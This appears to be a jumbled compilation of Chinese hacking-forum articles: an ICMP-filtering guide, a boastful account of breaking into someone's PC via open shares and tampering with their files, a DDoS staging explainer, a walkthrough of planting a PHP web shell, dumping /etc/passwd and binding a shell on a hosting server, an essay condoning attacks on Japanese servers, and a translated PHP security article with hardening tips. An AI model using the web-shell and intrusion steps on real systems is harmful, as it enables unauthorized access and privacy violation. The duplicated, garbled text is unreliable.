服务启动后,在计算机名称的分支下会出现一个“IP路由选择”,点击它展开分支,再点击“常规”,会在右边出现服务器中的网络连接(即网卡)。用鼠标右键点击你要配置的网络连接,在弹出的菜单中点击“属性”,会弹出一个网络连接属性的窗口,如图1所示。

图1
在“协议”右边的下拉列表中选择“ICMP”,在随后出现的“ICMP类型”和“ICMP编码”中均输入“255”,代表所有的ICMP类型及其编码。ICMP有许多不同的类型(Ping就是一种类型),每种类型也有许多不同的状态,用不同的“编码”来表示。因为其类型和编码很复杂,这里不再叙述。
点击[确定]按钮返回“输入筛选器”窗口,此时会发现“筛选器”列表中多了一项内容(如图2所示)。点击[确定]按钮返回“本地连接”窗口,再点击[确定]按钮,此时筛选器就生效了,从其他计算机上Ping这台主机就不会成功了。
图2
现在许多防火墙在默认情况下都启用了ICMP过滤的功能。如果没有启用,只要选中“防御ICMP攻击”、“防止别人用ping命令探测”就可以了,如图3所示。
图3

图1
图1中有两个按钮,一个是“输入筛选器”(指对此服务器接受的数据包进行筛选),另一个是“输出筛选器”(指对此服务器发送的数据包进行筛选),这里应该点击[输入筛选器] 按钮,会弹出一个“添加筛选器”窗口,再点击[添加]按钮,表示要增加一个筛选条件。
在“协议”右边的下拉列表中选择“ICMP”,在随后出现的“ICMP类型”和“ICMP编码”中均输入“255”,代表所有的ICMP类型及其编码。ICMP有许多不同的类型(Ping就是一种类型),每种类型也有许多不同的状态,用不同的“编码”来表示。因为其类型和编码很复杂,这里不再叙述。
点击[确定]按钮返回“输入筛选器”窗口,此时会发现“筛选器”列表中多了一项内容(如图2所示)。点击[确定]按钮返回“本地连接”窗口,再点击[确定]按钮,此时筛选器就生效了,从其他计算机上Ping这台主机就不会成功了。

图2
2. 用防火墙设置ICMP过滤
现在许多防火墙在默认情况下都启用了ICMP过滤的功能。如果没有启用,只要选中“防御ICMP攻击”、“防止别人用ping命令探测”就可以了,如图3所示。

图3
通过以上讲解,你现在知道ICMP的重要性了吧?赶紧给你的服务器设置ICMP过滤吧。
进入他的电脑一看,缺省的共享一个也没关,什么admin啦,c、d、e、f啦,全都开着,其实我真的不需要这么多!一个一个看过去,呀,里面的东西还真不少,我的文档(他机器里的)中居然有:重大科技项目课题投标书,还是软件领域的!我看了一遍,没看出该课题的实际意义–说实在的,没看明白。大概是一个和J2EE有关的东西,倒是组成人员特别的牛,号称是一只(支)系统分析员、高级程序员、程序员组成的队伍(系统分析员是我心中永远的痛,考了n次都没过!只有论文每次都过,看来我就是一个写手了,5555555555555),申请的资金也比较逗:786万,嗯,他们绝对是intel的忠实拥护者,特别对86情有独钟。唉,谁让8086的年代一去不复返了呢。想当年,从苹果机到286、386、486,然后Intel卑鄙地甩掉了这个令人梦萦魂牵的数字(连AMD一起),开始了奔腾时代,一直奔到了笨死。
还有一份是联合投标的协议书,大概是因为自己企业的实力不是很强,拉张大旗作虎皮的意思。另外是一份软件代销的协议,大致意思是某某自行开发的软件系统对外零售报价是10万,给合作伙伴的价格是5万。哇!原来软件真的可以卖钱呀!我好倒霉,整天支持opensource,把源代码给了好多人–今天上网还看到一则关于是否应该open的讨论,说的是原来不是很开放的时候,open的女孩子大受欢迎,现代社会open大行其道,太open的反而严重地挫伤了男士的积极性(抑或是自尊心),倒是比较传统的女孩子更令人向往了(网上无聊的人真多呀,什么都有讨论的,对有些人来说,这的确是一个供给过于充足、信息爆炸的社会)。由人及物,放到软件领域也未必不是这个道理,所以opensource的下场也不会好到哪里去,以后谁也别想看俺的源代码,嘿嘿嘿嘿嘿嘿嘿嘿。
配合上述材料的是一个powerpoint演示稿(现在很多人把这种东西称为“多媒体”),做的可谓是超级烂,既不生动活泼、又没有什么令人震撼的画面,比看dvd的感觉差多了,如果手上有臭鸡蛋我一定会顺着网络扔过去!不过,作为一个生活在信息时代的文明人,实物攻击早已变得不尽如我意,还是用一个虚拟的方式表达自己的愤慨吧。
打开我的Photoshop和ImageReady(这可不是给Adobe做广告,实际上平时处理图片我更喜欢用ACDSee,Adobe的软件打开的时间实在太长了),到了充分展示我得绘画天才的时候了,首先我画了一个臭鸡蛋(计算机就是好,随便一钩就这么圆),为了表现出“臭”来,我的确费了一些功夫,第一层是个圆圆的鸡蛋,色泽晶莹,第二层是一个裂了缝的鸡蛋,颜色也有些黯淡,第三层从缝隙里爬出一个白色的小虫子,第四层就出现了n只像蜜蜂一样的绿头飞行物环绕在四周……我真是满意自己的设计天赋,早知道在这个方面会有这般成就我应当去学习设计时装,一定会搞出惊(劲)俗骇世的作品的。
然后用ImageReady做成了一张动态的gif图像,当然,动画的第一页是他们原来powerpoint文件里的软件系统示意图。当我用这个文件替换了他原来的示意图的时候,心里真是痛快,哈哈哈哈。不过,谦虚地讲,我还是很友好的,只是送了一个臭鸡蛋而已,要是换成别的什么画面他岂非更惨!“但愿不会给他带来什么大麻烦”我心里十分善良地想着。
来源:IBM 这里用”组织”这个词,是因为DDoS并不象入侵一台主机那样简单。一般来说,黑客进行DDoS攻击时会经过这样的步骤: 1、搜集了解目标的情况 下列情况是黑客非常关心的情报: 被攻击目标主机数目、地址情况 目标主机的配置、性能 目标的带宽 对于DDoS攻击者来说,攻击互联网上的某个站点,如http://www.mytarget.com,有一个重点就是确定到底有多少台主机在支持这个站点,一个大的网站可能有芏嗵ㄖ骰酶涸鼐饧际跆峁┩桓鐾镜膚ww服务。以yahoo为例,一般会有下列地址都是提供http://www.yahoo.com服务的: 66.218.71.87 如果要进行DDoS攻击的话,应该攻击哪一个地址呢?使66.218.71.87这台机器瘫掉,但其他的主机还是能向外提供www服务,所以想让别人访问不到http://www.yahoo.com的话,要所有这些IP地址的机器都瘫掉才行。在实际的应用中,一个IP地址往往还代表着数台机器:网站维护者使用了四层或七层交换机来做负载均衡,把对一个IP地址的访问以特定的算法分配到下属的每个主机上去。这时对于DDoS攻击者来说情况就更复杂了,他面对的任务可能是让几十台主机的服务都不正常。 所以说事先搜集情报对DDoS攻击者来说是非常重要的,这关系到使用多少台傀儡机才能达到效果的问题。简单地考虑一下,在相同的条件下,攻击同一站点的2台主机需要2台傀儡机的话,攻击5台主机可能就需要5台以上的傀儡机。有人说做攻击的傀儡机越多越好,不管你有多少台主机我都用尽量多的傀儡机来攻就是了,反正傀儡机超过了时候效果更好。 但在实际过程中,有很多黑客并不进行情报的搜集而直接进行DDoS的攻击,这时候攻击的盲目性就很大了,效果如何也要靠运气。其实做黑客也象网管员一样,是不能偷懒的。一件事做得好与坏,态度最重要,水平还在其次。 2、占领傀儡机 黑客最感兴趣的是有下列情况的主机: 链路状态好的主机 性能好的主机 安全管理水平差的主机 这一部分实际上是使用了另一大类的攻击手段:利用形攻击。这是和DDoS并列的攻击方式。简单地说,就是占领和控制被攻击的主机。取得最高的管理权限,或者至少得到一个有权限完成DDoS攻击任务的帐号。对于一个DDoS攻击者来说,准备好一定数量的傀儡机是一个必要的条件,下面说一下他是如何攻击并占领它们的。 首先,黑客做的工作一般是扫描,随机地或者是有针对性地利用扫描器去发现互联网上那些有漏洞的机器,象程序的溢出漏洞、cgi、Unicode、ftp、数据库漏洞…(简直举不胜举啊),都是黑客希望看到的扫描结果。随后就是尝试入侵了,具体的手段就不在这里多说了,感兴趣的话网上有很多关于这些内容的文章。 总之黑客现在占领了一台傀儡机了!然后他做什么呢?除了上面说过留后门擦脚印这些基本工作之外,他会把DDoS攻击用的程序上载过去,一般是利用ftp。在攻击机上,会有一个DDoS的发包程序,黑客就是利用它来向受害目标发送恶意攻击包的。 3、实际攻击 经过前2个阶段的精心准备之后,黑客就开始瞄准目标准备发射了。前面的准备做得好的话,实际攻击过程反而是比较简单的。就象图示里的那样,黑客登录到做为控制台的傀儡机,向所有的攻击机发出命令:”预备~ ,瞄准~,开火!”。这时候埋伏在攻击机中的DDoS攻击程序就会响应控制台的命令,一起向受害主机以高速度发送大量的数据包,导致它死机或是无法响应正常的请求。黑客一般会以远远超出受害方处理能力的速度进行攻击,他们不会”怜香惜玉”。 老到的攻击者一边攻击,还会用各种手段来监视攻击的效果,在需要的时候进行一些调整。简单些就是开个窗口不断地ping目标主机,在能接到回应的时候就再加大一些流量或是再命令更多的傀儡机来加入攻击。
66.218.71.88
66.218.71.89
66.218.71.80
66.218.71.81
66.218.71.83
66.218.71.84
66.218.71.86
首先这些站点的问题主要出在允许使用system(),exec()等等这些函数,熟悉php的朋友应该知道,这些函数是调用系统指令的(虽然通过web server php程序只能有nobody权限),而且一般用户只要申请一个空间就可以获取局部的可写权限,令用户可以写一个web shell程序执行命令.在这些服务器上一般用户不能够登陆,也就是nologin(没有登陆shell,管理员可没那么”慷慨”!),这样利用system(),exec()这些函数就可以bind一个shell出来~!本文以虎翼网(www.51.net)的空间为例子(他是不是所有的服务器都有这个毛病我不知道~我只试验了我的空间所在的服务器): 1.写一个webshell先(php很容易做到) lynx http://xxx.51.net/cgi-bin/shell.php?cmd=set lynx http://xxx.51.net/cgi-bin/shell.php?cmd=./bind 1234
?>php
#shell.php3
echo”
“; system(“$cmd”); echo”";
?>
2.上传到空间
3.执行(具体的服务器马赛克处理)
lynx http://xxx.51.net/cgi-bin/shell.php?cmd=id (看一下权限到底多大)
uid=171047(xxxx) gid=51(xxx) groups=51(xxx), 65534(nobody)
root真的很吝啬啊!
lynx http://xxx.51.net/cgi-bin/shell.php?cmd=uname -ras(看看系统)
FreeBSD xxx.51.net 3.3-RELEASE FreeBSD 3.3-RELEASE #11: Tue Mar 20
00:58:09 CST 2001 root@51.net:/usr/src/sys/compile/51NET i386
lynx http://xxx.51.net/cgi-bin/shell.php?cmd=cat
/etc/passwd(shadow是铁定看不到)
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:107353:51:USER:/home/tty:/local/bin/null
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin
news:*:8:8:News Subsystem:/:/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/sbin/nologin
uucp:*:66:66:UUCP
pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico
xten:*:67:67:X-10 daemon:/usr/local/xten:/sbin/nologin
pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin
ftp:*:70:70:FTP Daemon:/nonexistent:/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin
quotauser1:*:997:51:quotauser:/home/quotauser1:/sbin/nologin
quotauser2:*:998:51:quotauser:/home/quotauser2:/sbin/nologin
quotauser3:*:999:51:quotauser:/home/quotauser3:/sbin/nologin
tian:*:1002:1002::/local/tian:/local/bin/ksh
sysadmin:*:1001:1001:System
Administrator:/local/sysadmin:/local/bin/ksh
test2:*:9999:51::/home/test2:/local/bin/null
xhjj:*:106200:51:USER:/home/xhjj:/sbin/nologin
zhinan:*:106201:51:USER:/home/zhinan:/local/bin/null
yes2:*:106202:51:USER:/home/yes2:/local/bin/null
daboy:*:106203:51:USER:/home/daboy:/local/bin/null
yesky:*:106204:51:USER:/home/yesky:/local/bin/null
yesk:*:106205:51:USER:/home/yesk:/local/bin/null
lnsyzzg:*:106206:51:USER:/home/lnsyzzg:/local/bin/null
fog:*:106207:51:USER:/home/fog:/local/bin/null
renshou:*:106208:51:USER:/home/renshou:/local/bin/null
hilen:*:106209:51:USER:/home/hilen:/local/bin/null
hapybird:*:106210:51:USER:/home/hapybird:/sbin/nologin
xiewei:*:106211:51:USER:/home/xiewei:/sbin/nologin
wwwer:*:106212:51:USER:/home/wwwer:/local/bin/null
larry:*:106213:51:USER:/home/larry:/local/bin/null
sunboys:*:106214:51:USER:/home/sunboys:/local/bin/null
everydayyuki:*:106215:51:USER:/home/everydayyuki:/local/bin/null
linguanxi:*:106216:51:USER:/home/linguanxi:/local/bin/null
baobao:*:106217:51:USER:/home/baobao:/local/bin/null
chaoshan:*:106218:51:USER:/home/chaoshan:/local/bin/null
hrstudio:*:106219:51:USER:/home/hrstudio:/local/bin/null
dengxian:*:106220:51:USER:/home/dengxian:/local/bin/null
simonstone:*:106221:51:USER:/home/simonstone:/local/bin/null
chenjian:*:106222:51:USER:/home/chenjian:/local/bin/null
lvxiangml:*:106223:51:USER:/home/lvxiangml:/local/bin/null
zzbxaxa:*:106224:51:USER:/home/zzbxaxa:/local/bin/null
pc2000:*:106225:51:USER:/home/pc2000:/local/bin/null
startexcel:*:106226:51:USER:/home/startexcel:/local/bin/null
model:*:106227:51:USER:/home/model:/local/bin/null
leogirl:*:106228:51:USER:/home/leogirl:/local/bin/null
fohcn:*:106229:51:USER:/home/fohcn:/local/bin/null
ljok:*:106230:51:USER:/home/ljok:/local/bin/null
baorui:*:106231:51:USER:/home/baorui:/local/bin/null
fky-jack:*:106232:51:USER:/home/fky-jack:/local/bin/null
zhaowen:*:106233:51:USER:/home/zhaowen:/local/bin/null
xiaojiaoya:*:106234:51:USER:/home/xiaojiaoya:/local/bin/null
zyinter:*:106235:51:USER:/home/zyinter:/local/bin/null
power:*:106236:51:USER:/home/power:/local/bin/null
feefan:*:106237:51:USER:/home/feefan:/local/bin/null
paradise:*:106238:51:USER:/home/paradise:/local/bin/null
wulc:*:106239:51:USER:/home/wulc:/local/bin/null
jcm:*:106240:51:USER:/home/jcm:/local/bin/null
liangxiaom:*:106241:51:USER:/home/liangxiaom:/local/bin/null
jingder:*:106242:51:USER:/home/jingder:/local/bin/null
hanjun:*:106243:51:USER:/home/hanjun:/local/bin/null
adai:*:106244:51:USER:/home/adai:/local/bin/null
fightben:*:106245:51:USER:/home/fightben:/local/bin/null
lihonghui-ooo:*:106246:51:USER:/home/lihonghui-ooo:/local/bin/null
xeno:*:106247:51:USER:/home/xeno:/local/bin/null
………………(太多了~省略)
只有几个用户有shell可以登陆,cp到我的目录下面,等一下分离出usrename看看有没有白痴username=passwd的~呵呵~
HOME=/
PS1=$
OPTIND=1
PS2=>
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin
IFS=
他妈的~好差的”环境”,被设置成这样….
lynx http://xxx.51.net/cgi-bin/shell.php?cmd=cat /etc/hosts
# $FreeBSD: src/etc/hosts,v 1.9.2.1 1999/08/29 14:18:44 peter Exp $
#
# Host Database
# This file should contain the addresses and aliases
# for local hosts that share this file.
# In the presence of the domain name service or NIS, this file may
# not be consulted at all; see /etc/host.conf for the resolution
order.
#
#
127.0.0.1 localhost localhost.my.domain myname.my.domain
#
# Imaginary network.
#10.0.0.2 myname.my.domain myname
#10.0.0.3 myfriend.my.domain myfriend
#
# According to RFC 1918, you can use the following IP networks for
# private nets which will never be connected to the Internet:
#
# 10.0.0.0 – 10.255.255.255
# 172.16.0.0 – 172.31.255.255
# 192.168.0.0 – 192.168.255.255
#
#…………………………..(后门全市废话)
不算太小啊~hosts呵呵~
lynx http://xxx.51.net/cgi-bin/shell.php?cmd=whereis -b gcc
(老天保佑~有gcc)
gcc:/usr/sbin/gcc(万岁!!!!!!!!!!!!)
我来试试看~弄一个大家伙上去,编译一下,哈哈~速度好快!
webshell太累了,bind一个shell出来方便一点…(上传binshell程序,自己写也可以用perl/C,都不太难)
lynx http://xxx.51.net/cgi-bin/shell.php?cmd=gcc -o bind bindshell.c
bind shell too port 1234
telnet xxx.51.net 1234
…..下面省略,反正就可以执行命令了
嗯~好像这台没装MySQL,可惜~呵呵~~~~~~~~~,对了oso.com.cn的好像有~,不过最近停了…..
lynx http://xxx.51.net/cgi-bin/shell.php?cmd=/usr/sbin/rpcinfo -p
localhost
portmapper 100000 portmap sunrpc
rstatd 100001 rstat rstat_svc rup perfmeter
rusersd 100002 rusers
nfs 100003 nfsprog
ypserv 100004 ypprog
mountd 100005 mount showmount
ypbind 100007
walld 100008 rwall shutdown
yppasswdd 100009 yppasswd
etherstatd 100010 etherstat
rquotad 100011 rquotaprog quota rquota
sprayd 100012 spray
3270_mapper 100013
rje_mapper 100014
selection_svc 100015 selnsvc
database_svc 100016
rexd 100017 rex
alis 100018
sched 100019
llockmgr 100020
nlockmgr 100021
x25.inr 100022
statmon 100023
status 100024
bootparamd 100026 bootparam
ypupdated 100028 ypupdate
keyserv 100029 keyserver
tfsd 100037
nsed 100038
nsemntd 100039
pcnfsd 150001 pcnfs
amd 300019
cmsd 100068
ttdbserver 100083 tooltalk
哈哈~好像可以mount,等一下用肉鸡showmount看看~这我就不说了…
哈哈~玩玩 mail()看看
>?php
#mail.php3
mail(“xxx@sina.com”,”hi”,”i\’m Bytes”);
?>
快去信箱看看~~~GOGOGO >>>>…..呀~真不错~发信人以root@51.net..
在黑客、红客、骇客、砍客的辩论中,我们渐渐迷失了对黑客这一群体的正确理解,有必要重提一下。
先说说黑客的范畴,不可以否认,我们现在提到黑客是一个稍微带些广义的概念,早期由于黑客的成员比较少,大家都是把精力放在技术上,因此形成了以技术为核心的早期黑客文化,也就是被我们现在称之为严格遵守黑客准则的那群人,但是随着技术的下移,黑客的群体也发生了变化,因此黑客文化也会发生相应的变化,因此成了今天这种状况。
因此,就会有人把那种遵守早期黑客道德的一群人称之为真正的黑客,而是把那些已经不遵守这些道德的一群人称之为伪黑客,或者根本就不承认是黑客。但是黑客是什么?其实黑客本身只是一个中性的词,它指的就是网络安全爱好者,(其实在中国,有许多中性词都变成了带有感情色彩的词)无论这群人是否遵守一定的道德规范,只要是在研究网络安全,在研究操作系统的漏洞,那么这群人就是黑客。这就象是中国的文化一样,你不能说早期遵守三纲五常的人是中国人,而现在不遵守这些的人就不是中国人,只要生活在华夏的土地上的,就都是中国人,与是否遵纪守法无关。
我个人对黑客的理解是这样的,黑客应该代表正的力量,黑客只是研究漏洞、发现漏洞,然后把这个漏洞的原理说清楚,再进一步把漏洞的解决方案公布出来,比如说是一段漏洞补丁的代码,然后在论坛上把他的成果写出来,让大家知道如何更好地防止这个漏洞,而不是发现漏洞后就去进行攻击,或者写一段漏洞攻击代码进行公布。但是,我想大家一定承认,那个能写出漏洞攻击代码的人是一个标准的黑客,因为他有很好的漏洞发现能力和编程能力,但是,你一定也承认,那些能发现新的漏洞的但是不会编代码的人也是黑客,那么,那些利用已知漏洞进行攻击,或者利用已知工具进行攻击的人又怎么会不是黑客呢?
大家都认为黑客应该代表正义的力量,这应该是没错的,但是,大家对正义又有不同的理解,当正义可以被任意解释的时候,那么,黑客就不能以正义进行标榜。比如说,在几百年前,一个民族向外扩张被认为是正义的事情,是一个民族崛起的表现,因此我们从来不会认为秦始皇统一中国有什么不对,而现在,如果一个民族向外扩张就会被认为是侵略,如果有谁想统一世界,那他一定是非正义的。黑客也如是,有些黑客认为,只有研究网络技术与漏洞的人才是正义的,将之付之于行为就是非正义的,有些黑客认为,只要不破坏数据,攻击网站的行为就是正义的,因为这些行为是在帮助那些网站进行安全上的改进。那当然也会有一些人认为,黑客攻击也是对的等等。其实黑客行为就是黑客行为,与破坏不破坏数据无关。尽管大多数的中国黑客会认为破坏数据是不对的,但是我相信大多数的中国黑客也会同意破坏日本服务器数据的行为就是对的。因此,这些认识都没有错,只是对正义的理解,因人、因时、因地而异而已。
要想正确理解黑客,我们还要搞清楚一件事,就是黑客的职责是什么?比如说一个人罪大恶极、为患乡里,你说你把他杀了,这合理吗?如果你是警察,你可以把它逮捕,但是无权审判;如果你是法官,你可以审判,但你无权处决。社会只有各司其职,才会正常运转,否则一定会出问题。如果你十分喜欢正义,但你只是一个民与法的爱好者,你能做的就只能是揭发,而不是惩恶扬善,因为那不是你的职责。其实这正是现在黑客群里流行的一种思潮,所有的黑客都希望自己是网络安全的倡导与执行者,是一个无所不能的侠客,你不能不说这其中有炫耀的成分,就象《多情剑客无情剑》里写的一样,天机老人、李寻欢并没有忙着跟别人比剑,而是真正把研究武学当作一种追求,而忙着比剑的,往往是不可能达到最高境界的,但是他也会被别人称之为“剑客”。
目前还流行着这样的一种说法,认为黑客代表着一种正面的力量,而反面的那群人则被称之为“骇客”,认为是“Cracker”的翻译。这种认识我认为也是不对的,其实黑客与骇客都是“Hacker”的意译,台湾那边更倾向于骇客的翻译,象《Hacker》这部电影就被翻译成“骇客”,而“Cracker”目前还没有好的译名,一般大家都倾向于直接叫英文,或者翻译成“砍客”,这其实说的是另外一个群体,他们追求的是软件的破解,分析软件的流程,当然这群人也会形成两股力量,一种是以研究软件艺术为导向的逆向工程爱好者,另一种就是自由软件为导向的破解爱好者。很明显两者虽然同属一个群体,但是目的不同,这就象锁厂拆锁是为了造出更好的锁,而锁匠拆锁纯粹是爱好,他们只热衷于拆锁的时间会越来越短,所拆的锁越来越难,并不热衷于去创造一把自己的锁。
通过上述的说法,相信大家已经看出了我的观点,就是无论是黑客还是Cracker,我们应该提倡的是那种建设的精神而不是破坏的精神,而且,黑客行为本身就是一把双刃剑,只要做出,就会伤人,因此,黑客就是黑客,与正义无关。
正如我们前面讨论的那样,include()和require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代 码库包含到当前的文件中就可以了。
最初,人们开发和发布PHP程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个“.inc”的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把PHP作为Apache的模块使用时,PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的,一般是“.php”, “.php3”和“.php4”。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中,那么远程攻击者很容易得到这些信息。
最简单的解决方法就是给每个文件都指定一个PHP文件的扩展名,这样可以很好的防止泄露源代码的问题,但是又产生了新的问题,通过请求这个文件,攻击者可能使本该在上下文环境中运行的代码独立运行,这可能导致前面讨论的全部攻击。
下面是一个很明显的例子:
In main.php:
$libDir = “/libdir”;
$langDir = “$libdir/languages”;
…
include(“$libdir/loadlanguage.php”:
?>
In libdir/loadlanguage.php:
…
include(“$langDir/$userLang”);
?>
当“libdir/loadlanguage.php”被“main.php”调用时是相当安全的,但是因为“libdir/loadlanguage”具有“.php”的扩展名,因此远程攻击者可以直接请求这个文件,并且可以任意指定“$langDir”和“$userLang”的值。
[Session文件]
PHP 4或更新的版本提供了对sessions的支持,它的主要作用是在PHP程序中保存页与页之间的状态信息。例如,当一个用户登陆进入网站,他登陆了这个事实以及 谁登陆进入这个网站都被保存在session中,当他在网站中到处浏览时,所有的PHP代码都可以获得这些状态信息。
事实上,当一个session启动时(实际上是在配置文件中设置为在第一次请求时自动启动),就会生成一个随机的“session id”,如果远程浏览器总是在发送请求时提交这个“session id”的话,session就会一直保持。这通过Cookie很容易实现,也可以通过在每页提交一个表单变量(包含“session id”)来实现。PHP程序可以用session注册一个特殊的变量,它的值会在每个PHP脚本结束后存在session文件中,也会在每个PHP脚本开始前加载到变量中。下面是一个简单的例子:
session_destroy(); // Kill any data curif (!empty($session_auth))
rently in the session
$session_auth = “shaun”;
session_register(“session_auth”); // Register $session_auth as a session variable
?>
新版本的PHP都会自动把“$session_auth”的值设置为“shaun”,如果它们被修改的话,以后的脚本都会自动接受修改后的值,这对无状态的Web来说的确是种很不错的工具,但是我们也应该小心。
一个很明显的问题就是确保变量的确来自session,例如,给定上面的代码,如果后续的脚本是下面这样的话:
if (!empty($session_auth))
// Grant access to site here
?>
上面的代码假定如果“$session_auth”被置位的话,就是从session,而不是从用户输入来置位的,如果攻击者通过表单输入来置位的话,他就可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法,一旦变量被放进了session,就会覆盖任何表单输入。
Session数据一般是保存在文件中(位置是可配置的,一般是“/tmp”),文件名一般是类似“sess_
Session机制也为攻击者把自己的输入保存在远程系统的文件中提供了另一个方便的地方,对于上面的例子来说,攻击者需要在远程系统放置一个包含PHP代码的文件,如果不能利用文件上载做到的话,他通常会利用session为一个变量按照自己的意愿赋一个值,然后猜测session文件的位置,而他知道文件名是“php
另外,攻击者可以任意指定“session id”(例如“hello”),然后用这个“session id”创建一个session文件(例如“/tmp/sess_hello”),但是“session id”只能是字母和数字组合。
[数据类型]
PHP具有比较松散的数据类型,变量的类型依赖于它们所处的上下文环境。例如:“$hello”开始是字符串变量,值为“”,但是在求值时,就变成了整形变量“0”,这有时可能 会导致一些意想不到的结果。如果“$hello”的值为“000”还是为“0”是不同的,empty()返回的结果也不会为真。
PHP中的数组是关联数组,也就是说,数组的索引是字符串型的。这意味着“$hello["000"]”和“$hello[0]”也是不同的。
开发程序的时候应该仔细地考虑上面的问题,例如,我们不应该在一个地方测试某个变量是否为“0”,而在另外的地方使用empty()来验证。
[容易出错的函数]
我们在分析PHP程序中的漏洞时,如果能够拿到源代码的话,那么一份容易出错的函数列表则是我们非常需要的。如果我们能够远程改变这些函数的参数的话,那么我们就很可能发现其中的漏洞。下面是一份比较详细的容易出错的函数列表:
require():读取指定文件的内容并且作为PHP代码解释
include():同上
eval():把给定的字符串作为PHP代码执行
preg_replace():当与“/e”开关一起使用时,替换字符串将被解释为PHP代码
<命令执行>
exec():执行指定的命令,返回执行结果的最后一行
passthru():执行指定命令,返回所有结果到客户浏览器
“:执行指定命令,返回所有结果到一个数组
system():同passthru(),但是不处理二进制数据
popen():执行指定的命令,把输入或输出连接到PHP文件描述符
<文件泄露>
fopen():打开文件,并对应一个PHP文件描述符
readfile():读取文件的内容,然后输出到客户浏览器
file():把整个文件内容读到一个数组中
译者注:其实这份列表还不是很全,比如“mail()”等命令也可能执行命令,所以需要自己补充一下。
[如何增强PHP的安全性]
我在上面介绍的所有攻击对于缺省安装的PHP 4都可以很好的实现,但是我已经重复了很多次,PHP的配置非常灵活,通过配置一些PHP选项,我们完全可能抵抗其中 的一些攻击。下面我按照实现的难度对一些配置进行了分类:
*低难度
**中低难度
***中高难度
****高难度
上面的分类只是个人的看法,但是我可以保证,如果你使用了PHP提供的所有选项的话,那么你的PHP将是很安全的,即使是第三方的代码也是如此,因为其中很多功能已经不能使用。
**** 设置“register_globals”为“off”
这个选项会禁止PHP为用户输入创建全局变量,也就是说,如果用户提交表单变量“hello”,PHP不会创建“$ hello”,而只会创建“HTTP_GET/POST_VARS['hello']”。这是PHP中一个极其重要的选项,关闭这个选项,会给编程带来很大的不便。
*** 设置“safe_mode”为“on”
打开这个选项,会增加如下限制:
1.限制哪个命令可以被执行
2.限制哪个函数可以被使用
3.基于脚本所有权和目标文件所有权的文件访问限制
4.禁止文件上载功能
这对于ISP来说是一个伟大的选项,同时它也能极大地改进PHP的安全性。
** 设置“open_basedir”
这个选项可以禁止指定目录之外的文件操作,有效地消除了本地文件或者是远程文件被include()的攻击,但是仍需要注意文件上载和session文件的攻击。
** 设置“display_errors”为“off”,设置“log_errors”为“on”
这个选项禁止把错误信息显示在网页中,而是记录到日志文件中,这可以有效的抵制攻击者对目标脚本中函数的探测。
* 设置“allow_url_fopen”为“off”
这个选项可以禁止远程文件功能,极力推荐!
好了,文章到此为止了,如果你想了解一些其它的相关信息,请参考原文http://www.securereality.com.au/studyinscarlet.txt。
之所以翻译这篇文章,是因为目前关于CGI安全性的文章都是拿Perl作为例子,而专门介绍ASP,PHP或者JSP安全性的文章则很少。Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题,原文可以在http://www.securereality.com.au/studyinscarlet.txt找到。
由于原文比较长,而且有相当一部分是介绍文章的背景或PHP的基础知识,没有涉及到PHP安全方面的内容,因此我没有翻译。如果你想了解这方面的知识,请参考原文。
文章主要从全局变量,远程文件,文件上载,库文件,Session文件,数据类型和容易出错的函数这几个方面分析了PHP的安全性,并且对如何增强PHP的安全性提出了一些有用的建议。
好了,废话少说,我们言归正传!
[全局变量]
PHP中的变量不需要事先声明,它们会在第一次使用时自动创建,它们的类型也不需要指定,它们会根据上下文环境自动确定。从程序员的角度 来看,这无疑是一种极其方便的处理方法。很显然,这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了,就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量,毕竟,当它们第一次创建时,他们是空的。
很显然,基于PHP的应用程序的主函数一般都是接受用户的输入(主要是表单变量,上载文件和Cookie等),然后对输入数据进行处理,然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易,实际上PHP是把这些输入数据看作全局变量来处理的。
例如:
很显然,这会显示一个文本框和提交按钮。当用户点击提交按钮时,“test.php”会处理用户的输入,当“test.php”运行时,“$hello”会包含用户在文本框输入的数据。从这里我们应该看出,攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用“test.php”,而是直接在浏览器地址栏输入http://server/test.php?hello=hi&setup=no,那么,不止是“$hello”被创建,“$setup”也被创建了。
译者注:这两种方法也就是我们通常说的“POST”和“GET”方法。
下面的用户认证代码暴露了PHP的全局变量所导致的安全问题:
if ($pass == “hello”)
$auth = 1;
…
if ($auth == 1)
echo “some important information”;
?>
上面的代码首先检查用户的密码是否为“hello”,如果匹配的话,设置“$auth”为“1”,即通过认证。之后如果“$suth”为“1”的话,就会显示一些重要信息。
表面看起来是正确的,而且我们中有相当一部分人是这样做的,但是这段代码犯了想当然的错误,它假定“$auth”在没有设置值的时候是空的,却没有想到攻击者可以创建任何全局变量并赋值,通过类似“http://server/test.php?auth=1”的方法,我们完全可以欺骗这段代码,使它相信我们是已经认证过的。
因此,为了提高PHP程序的安全性,我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话,这可是一项非常艰巨的任务。
